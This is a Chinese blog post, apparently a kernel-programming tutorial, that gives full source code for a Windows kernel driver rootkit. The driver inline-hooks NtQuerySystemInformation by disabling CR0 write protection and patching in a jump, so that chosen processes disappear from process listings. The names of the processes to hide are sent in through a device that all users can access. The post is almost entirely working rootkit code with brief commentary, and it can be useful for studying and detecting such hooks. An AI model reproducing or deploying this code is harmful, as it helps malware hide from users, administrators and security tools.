内核层 inlinehook 隐藏进程

 上次是SSDT  HOOK 方式 隐藏 进程 ,如链接:http://blog.****.net/hjxyshell/article/details/16993119

这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/showthread.php?t=98493

中间有一些关于进程的枚举的处理,上次写了个简单的代码:http://blog.****.net/hjxyshell/article/details/17312119


代码如下:


 

[cpp] view plain copy
  1. #include <ntddk.h>  
  2. #include <Wdmsec.h>    
  3. #include <Wdm.h>    
  4.   
  5. //定义控制码    
  6. #define MY_DVC_IN_CODE \  
  7.         (ULONG)CTL_CODE(FILE_DEVICE_UNKNOWN,\  
  8.                 0xa02,\  
  9.                 METHOD_BUFFERED,\  
  10.                 FILE_READ_DATA|FILE_WRITE_DATA)  
  11.   
  12. //隐藏进程链表相关变量  
  13. //存放要隐藏进程的名字链表    
  14. typedef struct _ProcNameLink    
  15. {    
  16.     UNICODE_STRING ProcName;    
  17.     struct _ProcNameLink *pNext;    
  18. }ProcNameLink,*pProcNameLink;  
  19.   
  20. pProcNameLink pProcNameHeader;  //链表头部    
  21. pProcNameLink pProcNameTail;   //链表尾部   
  22. //字节型数据  unsigned char  
  23. typedef unsigned char BYTE;  
  24. ULONG  CR0VALUE;                       //设置cr0的读写标识  
  25. BYTE  OriginalBytes[5]={0};             //保存原始函数前五个字节             
  26. BYTE JmpAddress[5]={0xE9,0,0,0,0};       //跳转到HOOK函数的地址  
  27.   
  28. //进程线程 信息  结构体  
  29. struct _SYSTEM_THREADS    
  30. {    
  31.         LARGE_INTEGER           KernelTime;    
  32.         LARGE_INTEGER           UserTime;    
  33.         LARGE_INTEGER           CreateTime;    
  34.         ULONG                           WaitTime;    
  35.         PVOID                           StartAddress;    
  36.         CLIENT_ID                       ClientIs;    
  37.         KPRIORITY                       Priority;    
  38.         KPRIORITY                       BasePriority;    
  39.         ULONG                           ContextSwitchCount;    
  40.         ULONG                           ThreadState;    
  41.         KWAIT_REASON            WaitReason;    
  42. };    
  43. //进程信息结构体    
  44. struct _SYSTEM_PROCESSES    
  45. {    
  46.         ULONG                           NextEntryDelta;    
  47.         ULONG                           ThreadCount;    
  48.         ULONG                           Reserved[6];    
  49.         LARGE_INTEGER                   CreateTime;    
  50.         LARGE_INTEGER                   UserTime;    
  51.         LARGE_INTEGER                   KernelTime;    
  52.         UNICODE_STRING                  ProcessName;    
  53.         KPRIORITY                       BasePriority;    
  54.         ULONG                           ProcessId;    
  55.         ULONG                           InheritedFromProcessId;    
  56.         ULONG                           HandleCount;    
  57.         ULONG                           Reserved2[2];    
  58.         VM_COUNTERS                     VmCounters;    
  59.         IO_COUNTERS                     IoCounters; //windows 2000 only    
  60.         struct _SYSTEM_THREADS          Threads[1];    
  61. };    
  62.   
  63. //原函数,获取进程(系统)相关信息  
  64. NTSYSAPI    
  65. NTSTATUS    
  66. NTAPI NtQuerySystemInformation(    
  67.                         IN ULONG SystemInformationClass,    
  68.                         OUT PVOID SystemInformation,    
  69.                         IN ULONG SystemInformationLength,    
  70.                         OUT PULONG ReturnLength    
  71.                             );  
  72. NTSTATUS  
  73. MyNtQuerySystemInformation(  
  74.                         IN ULONG SystemInformationClass,  
  75.                         OUT PVOID SystemInformation,  
  76.                         IN ULONG SystemInformationLength,  
  77.                         OUT PULONG ReturnLength  
  78.                             );  
  79.   
  80. //改变函数前五个字节,使其跳到MyNtQuerySystemInformation函数中                             
  81. void HookNtQuerySystemInformation(  
  82.                     //  IN ULONG SystemInformationClass,  
  83.                     //  OUT PVOID SystemInfotmation,  
  84.                     //  IN ULONOG SystemInformatonLength,  
  85.                     //  OUT PULONG ReturnLength  
  86.                                 )  
  87. {  
  88.     //赋值前面的数组  
  89.     KIRQL Irql;  
  90.     DbgPrint("[NtQuerySystemInformation]: 0x%x",NtQuerySystemInformation);  
  91.     //保存原函数前5个字节  
  92.     RtlCopyMemory(OriginalBytes,(BYTE*)NtQuerySystemInformation,5);  
  93.     //保存新函数5个字节自后的偏移  
  94.     *(ULONG*)(JmpAddress + 1) = (ULONG)MyNtQuerySystemInformation - ((ULONG)NtQuerySystemInformation+5);  
  95.     //开始inline hook  即将跳转到新函数指令拷贝到原函数前5个字节  
  96.     //关闭内存写保护  
  97.     __asm  
  98.     {  
  99.     //这里只用到eax,保存eax即可  
  100.     push eax  
  101.     mov eax,cr0  
  102.     mov CR0VALUE,eax  
  103.     and eax,0fffeffffh  
  104.     mov cr0,eax  
  105.     pop eax  
  106.     }  
  107.     //提升IRQL中断级(防止写的过程中出新中断,导致出错)  
  108.     Irql = KeRaiseIrqlToDpcLevel();  
  109.     //开始写函数的前5个字节(jmp 指令)  
  110.     RtlCopyMemory((BYTE*)NtQuerySystemInformation,JmpAddress,5);  
  111.     //恢复Irql  
  112.     KeLowerIrql(Irql);  
  113.     //开启内存写保护  
  114.     __asm  
  115.     {  
  116.     push eax  
  117.     mov eax,CR0VALUE  
  118.     mov cr0,eax  
  119.     pop eax  
  120.     }  
  121.       
  122. }  
  123. //取消inline hook  
  124. void UnHookNtQuerySystemInformation(  
  125.                     //  IN ULONG SystemInformationClass,  
  126.                     //  OUT PVOID SystemInfotmation,  
  127.                     //  IN ULONOG SystemInformatonLength,  
  128.                     //  OUT PULONG ReturnLength  
  129.                                 )  
  130. {  
  131.     //把保存的五个字节写回原函数  
  132.     KIRQL Irql;  
  133.     //关闭写保护  
  134.     __asm  
  135.     {  
  136.         push eax  
  137.         mov eax,cr0  
  138.         mov CR0VALUE,eax  
  139.         and eax,0fffeffffh  
  140.         mov cr0,eax  
  141.         pop eax  
  142.     }  
  143.     //提升IRQL 到 Dpc  
  144.     Irql = KeRaiseIrqlToDpcLevel();  
  145.     RtlCopyMemory((BYTE*)NtQuerySystemInformation,OriginalBytes,5);  
  146.     KeLowerIrql(Irql);  
  147.     //开启内存写保护  
  148.     __asm  
  149.     {  
  150.     push eax  
  151.     mov eax,CR0VALUE  
  152.     mov cr0,eax  
  153.     pop eax  
  154.     }  
  155. }  
  156. //原函数  
  157. _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation(  
  158.                                         IN ULONG SystemInformationClass,  
  159.                                         OUT PVOID SystemInfotmation,  
  160.                                         IN ULONG SystemInformatonLength,  
  161.                                         OUT PULONG ReturnLength  
  162.                                                             )  
  163. {  
  164.     __asm{  
  165.         //这里的eax不是随便使用个寄存器就行的,因为  
  166.         //随便使用个寄存器很可能会破坏原来的值  
  167.         //因为eax的值在接下来会直接被覆盖(原来的值是什么不重要了),所以这里可以使用  
  168.         push 210h  
  169.         mov eax,NtQuerySystemInformation  
  170.         add eax,5  
  171.         jmp eax  
  172.         }         
  173. }  
  174.   
  175. //MyNtQuerySystemInformation函数,再此处 进行进程隐藏处理  
  176. NTSTATUS  
  177. MyNtQuerySystemInformation(  
  178.                         IN ULONG SystemInformationClass,  
  179.                         OUT PVOID SystemInformation,  
  180.                         IN ULONG SystemInformationLength,  
  181.                         OUT PULONG ReturnLength  
  182.                             )  
  183. {  
  184.         NTSTATUS ntStatus;  
  185.         pProcNameLink pTempLink;  //进程查询时使用  
  186.         //DbgPrint("it's here!!!\n");  
  187.         //查询系统信息  
  188.         ntStatus = OriginalNtQuerySystemInformation(  
  189.                                             SystemInformationClass,  
  190.                                             SystemInformation,  
  191.                                             SystemInformationLength,  
  192.                                             ReturnLength  
  193.                                                     );  
  194.         if(NT_SUCCESS(ntStatus))  
  195.         {  
  196.             if(SystemInformationClass == 5)  
  197.             {  
  198.                 //获取进程信息结构  
  199.                 for((pTempLink = pProcNameHeader->pNext)&&(pTempLink != NULL);pTempLink !=NULL;)  
  200.                 {  
  201.                     //每次查看时 ,都从进程的列表开始查看  
  202.                     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;  
  203.                     struct _SYSTEM_PROCESSES *prev = NULL;  
  204.                     while(curr)  
  205.                     {  
  206.                         if(curr->ProcessName.Buffer != NULL)  
  207.                         {  
  208.                             if(0 == memcmp(curr->ProcessName.Buffer,pTempLink->ProcName.Buffer,16)) //判断是否为要隐藏的进程  
  209.                             {  
  210.                                 //判断眼隐藏的进程在链表的那个位置  
  211.                                 if(prev) //中间或最后  
  212.                                 {  
  213.                                     if(curr->NextEntryDelta)    
  214.                                         prev->NextEntryDelta += curr->NextEntryDelta;    
  215.                                     else    // 在最后    
  216.                                         prev->NextEntryDelta = 0;    
  217.                                 }  
  218.                                 else    
  219.                                 {    
  220.                                     if(curr->NextEntryDelta)    
  221.                                     {    
  222.                                         // 要隐藏的进程在第一个    
  223.                                         (char *)SystemInformation += curr->NextEntryDelta;    
  224.                                     }    
  225.                                     else // 只有当前一个进程    
  226.                                         SystemInformation = NULL;    
  227.                                 }    
  228.                             }  
  229.                         }  
  230.                         prev = curr;    
  231.                         if(curr->NextEntryDelta)     
  232.                             (char *)curr += curr->NextEntryDelta;    
  233.                         else     
  234.                             curr = NULL;                      
  235.                     }  
  236.                  pTempLink = pTempLink->pNext;  
  237.                 }     
  238.             }  
  239.         }                                 
  240.     return ntStatus;  
  241.     //return 1;  
  242. }  
  243. //向链表汇总加入新的要隐藏的进程    
  244. VOID AddProcToLink(PUNICODE_STRING ProcName)    
  245. {    
  246.     //先判断该进程是否已存在,已存在则不添加(不判断也不影响结果)    
  247.     pProcNameLink pNewLink = (pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));  //新增节点    
  248.     (pNewLink->ProcName).Length = 0;    
  249.     (pNewLink->ProcName).MaximumLength = 256;    
  250.     (pNewLink->ProcName).Buffer = (PWCHAR)ExAllocatePool(NonPagedPool, 256);  //新增节点    
  251.         
  252.     RtlCopyUnicodeString(&(pNewLink->ProcName),ProcName);  //复制    
  253.     pNewLink->pNext = NULL;    
  254.     pProcNameTail->pNext = pNewLink;    
  255.     pProcNameTail = pNewLink;    //链表末尾    
  256. }    
  257. //移除某个进程    
  258. VOID RmProcFromLink(PUNICODE_STRING pProcName)    
  259. {    
  260.     pProcNameLink pNewLink = pProcNameHeader;    
  261.     if(pProcNameHeader->pNext == NULL)    
  262.         return;    
  263.     for( pNewLink;pNewLink->pNext != NULL;)    
  264.     {    
  265.         //找到,则从链表中删除    
  266.         if(RtlCompareUnicodeString(&(pNewLink->pNext->ProcName),pProcName,TRUE)==0)    
  267.         {    
  268.             pNewLink->pNext = pNewLink->pNext->pNext;    
  269.             if(pNewLink->pNext == NULL)  //链表结尾,为指针标识赋值    
  270.                 pProcNameTail = pNewLink;    
  271.             break;    
  272.         }    
  273.         pNewLink = pNewLink->pNext;  //没有写在for里面是为了方便调试时下断点    
  274.     }    
  275.     
  276. }    
  277. //卸载驱动  
  278. VOID OnUnload(IN PDRIVER_OBJECT driver)    
  279. {    
  280.     UNICODE_STRING symblink_name;  //c语言定义变量放在前面    
  281.     DbgPrint("ROOTKIT: OnUnload called\n");    
  282.    // unhook ZwQuerySystemInformation    
  283.     UnHookNtQuerySystemInformation();  
  284.       
  285.     if(IoIsWdmVersionAvailable(1,0x10))    
  286.     {    
  287.         //支持通用版本本,则创建全局符号链接\DosDevices\Global    
  288.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");           
  289.     }    
  290.     else    
  291.     {    
  292.         //不支持,用\DosDevices    
  293.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");    
  294.     }    
  295.     IoDeleteSymbolicLink(&symblink_name );    
  296.     IoDeleteDevice(driver->DeviceObject);    
  297.     DbgPrint("our driver is unloading ... \r\n");    
  298. }    
  299. //分发函数  
  300. NTSTATUS MyDispatchFunction(PDEVICE_OBJECT device, PIRP irp)    
  301. {    
  302.     CHAR inBuffer[256];    
  303.     short flag = 1;  //增加链表    
  304.     ANSI_STRING ansiBuffer;    
  305.     UNICODE_STRING unicodeBuffer;    
  306.     int i;    
  307.     //获得当前IRP调用的栈空间    
  308.     PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(irp);    
  309.     NTSTATUS status = STATUS_INVALID_PARAMETER;    
  310.     memset(inBuffer,0,256);    
  311.     //处理各种请求    
  312.     switch(irpsp->MajorFunction)    
  313.     {    
  314.         case IRP_MJ_CREATE:    
  315.         {    
  316.             //简单返回一个IRP成功三部曲    
  317.             irp->IoStatus.Information = 0;    
  318.             irp->IoStatus.Status = STATUS_SUCCESS;    
  319.             IoCompleteRequest(irp,IO_NO_INCREMENT);    
  320.             //应用层,打开设备后 打印此字符串,仅为测试    
  321.             DbgPrint("congratulations gay,open device");    
  322.             status = irp->IoStatus.Status;    
  323.             break;    
  324.         }    
  325.         case IRP_MJ_CLOSE:    
  326.         {    
  327.             irp->IoStatus.Information = 0;    
  328.             irp->IoStatus.Status = STATUS_SUCCESS;    
  329.             IoCompleteRequest(irp,IO_NO_INCREMENT);    
  330.             //应用层,打开设备后 打印此字符串,仅为测试    
  331.             DbgPrint("congratulations gay,close device");    
  332.             status = irp->IoStatus.Status;    
  333.             break;    
  334.         }    
  335.         case IRP_MJ_DEVICE_CONTROL:    
  336.         {    
  337.             //得到功能号    
  338.             ULONG code = irpsp->Parameters.DeviceIoControl.IoControlCode;    
  339.             //得到输入/输出缓冲区的长度    
  340.             ULONG in_len = irpsp->Parameters.DeviceIoControl.InputBufferLength;    
  341.             ULONG out_len = irpsp->Parameters.DeviceIoControl.OutputBufferLength;    
  342.             //输入、输出的缓冲区是公用的内存空间的    
  343.             PCHAR buffer = (PCHAR)irp->AssociatedIrp.SystemBuffer;    
  344.             //memcpy(inBuffer,buffer,in_len);    
  345.             //将短字符转化为宽字符    
  346.             if(buffer[0] == '-')    
  347.                 flag = 0;    
  348.             ansiBuffer.Buffer = buffer+1;    
  349.             ansiBuffer.Length = ansiBuffer.MaximumLength = (USHORT)(in_len -1);    
  350.             RtlAnsiStringToUnicodeString(&unicodeBuffer, &ansiBuffer,TRUE);    
  351.             if(flag)    
  352.                 AddProcToLink(&unicodeBuffer);   //将要隐藏的进程加入到链表中    
  353.             else    
  354.                 RmProcFromLink(&unicodeBuffer);    
  355.             DbgPrint("%ansiBuffer = %Z\n",&ansiBuffer);    //注意是%Z    
  356.             DbgPrint("unicodeBuffer = %wZ\n",&unicodeBuffer);    
  357.             if(code == MY_DVC_IN_CODE)    
  358.             {    
  359.                 DbgPrint("in_buffer_len = %d",in_len);    
  360.                 DbgPrint("%s",buffer);    
  361.                 //因为不返回信息,直接返回成功即可    
  362.                 //没有用到输出缓冲区    
  363.                 irp->IoStatus.Information = 0;    
  364.                 irp->IoStatus.Status = STATUS_SUCCESS;    
  365.             }    
  366.             else    
  367.             {    
  368.                 //控制码错误,则不接受请求,直接返回错误    
  369.                 //注意返回错误和返回成功的区别    
  370.                 irp->IoStatus.Information = 0;    
  371.                 irp->IoStatus.Status = STATUS_INVALID_PARAMETER;    
  372.             }    
  373.             IoCompleteRequest(irp,IO_NO_INCREMENT);    
  374.             status = irp->IoStatus.Status;    
  375.             break;    
  376.         }    
  377.         case IRP_MJ_READ:    
  378.         {    
  379.             break;    
  380.         }    
  381.         default:    
  382.         {    
  383.             DbgPrint("unknow request!!!");    
  384.             break;    
  385.         }    
  386.     }    
  387.        
  388.     return status;    
  389. }    
  390. //驱动入口函数  
  391. NTSTATUS DriverEntry(IN PDRIVER_OBJECT driver,     
  392.                      IN PUNICODE_STRING reg_path)   
  393. {  
  394.     ULONG i;    
  395.     NTSTATUS status;    
  396.     PDEVICE_OBJECT device;    
  397.     //设备名    
  398.     UNICODE_STRING device_name = RTL_CONSTANT_STRING(L"\\Device\\test");    
  399.     //符号连接名    
  400.     UNICODE_STRING symblink_name;    
  401.     //随手写一个GUID    
  402.     static const GUID MYGUID_CLASS_MYCDO =     
  403.     { 0x63542127, 0xfbbb, 0x49c8, { 0x8b, 0xf4, 0x8b, 0x7c, 0xb5, 0xef, 0xd3, 0x9e } };    
  404. //static const GUID DECLSPEC_SELECTANY MYGUID_CLASS_MYCDO =     
  405. //{ 0x8524767, 0x32fe, 0x4d86, { 0x9f, 0x48, 0xa0, 0x26, 0x94, 0xec, 0x71, 0x42 } };    
  406.        
  407.     //全用户可读权限、写权限    
  408.     UNICODE_STRING sdd1=RTL_CONSTANT_STRING(L"D:P(A;;GA;;;WD)");    
  409.     //初始化第一个结构体    
  410.     pProcNameHeader =(pProcNameLink)ExAllocatePool(NonPagedPool, sizeof(ProcNameLink));    
  411.     pProcNameHeader->pNext = NULL;    
  412.     pProcNameTail = pProcNameHeader;    
  413.     //RtlInitUnicodeString(&(pProcNameHeader->ProcName),L"");    
  414.     //_asm int 3    
  415.     //生成设备    
  416.     status = IoCreateDeviceSecure(    
  417.                             driver,    
  418.                             0,    
  419.                             &device_name,    
  420.                             FILE_DEVICE_UNKNOWN,    
  421.                             FILE_DEVICE_SECURE_OPEN,    
  422.                             FALSE,    
  423.                             &sdd1,    
  424.                             (LPCGUID)&MYGUID_CLASS_MYCDO,    
  425.                             &device    
  426.                             );    
  427.     if(!NT_SUCCESS(status))    
  428.     {    
  429.         DbgPrint("IoCreateDeviceSecure failed ");    
  430.         return status;    
  431.     }    
  432.     DbgPrint("good job1");    
  433.     //创建符号链接    
  434.     if(IoIsWdmVersionAvailable(1,0x10))    
  435.     {    
  436.         //支持通用版本本,则创建全局符号链接\DosDevices\Global    
  437.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\Global\\testSL");           
  438.     }    
  439.     else    
  440.     {    
  441.         //不支持,用\DosDevices    
  442.         RtlInitUnicodeString(&symblink_name,L"\\DosDevices\\testSL");    
  443.     }    
  444.     status = IoCreateSymbolicLink(&symblink_name,&device_name);    
  445.     if(!NT_SUCCESS(status))    
  446.     {    
  447.         DbgPrint("IoCreateSymbolicLink failed");    
  448.         return status;    
  449.     }    
  450.     DbgPrint("good job2");    
  451.     //初始化驱动处理    
  452.     for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)    
  453.     {    
  454.         driver->MajorFunction[i] = MyDispatchFunction;    
  455.     }    
  456.    // save old system call locations    
  457.    //OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));    
  458.      // Register a dispatch function for Unload    
  459.     driver->DriverUnload  = OnUnload;     
  460.         
  461.      // inline hook     
  462.     HookNtQuerySystemInformation();  
  463.                                   
  464.    return STATUS_SUCCESS;              
  465.                        
  466. }  
说明:

    _declspec (naked) NTSTATUS OriginalNtQuerySystemInformation  函数中的寄存器不是随便使用的,正如代码中注释所述一样,这里使用eax,因为eax的值会被直接覆盖,对后续程序并无影响

如图:

 内核层 inlinehook 隐藏进程

驱动安装运行后,在查看函数NtQuerySystemInformation,已经被我们掌控

内核层 inlinehook 隐藏进程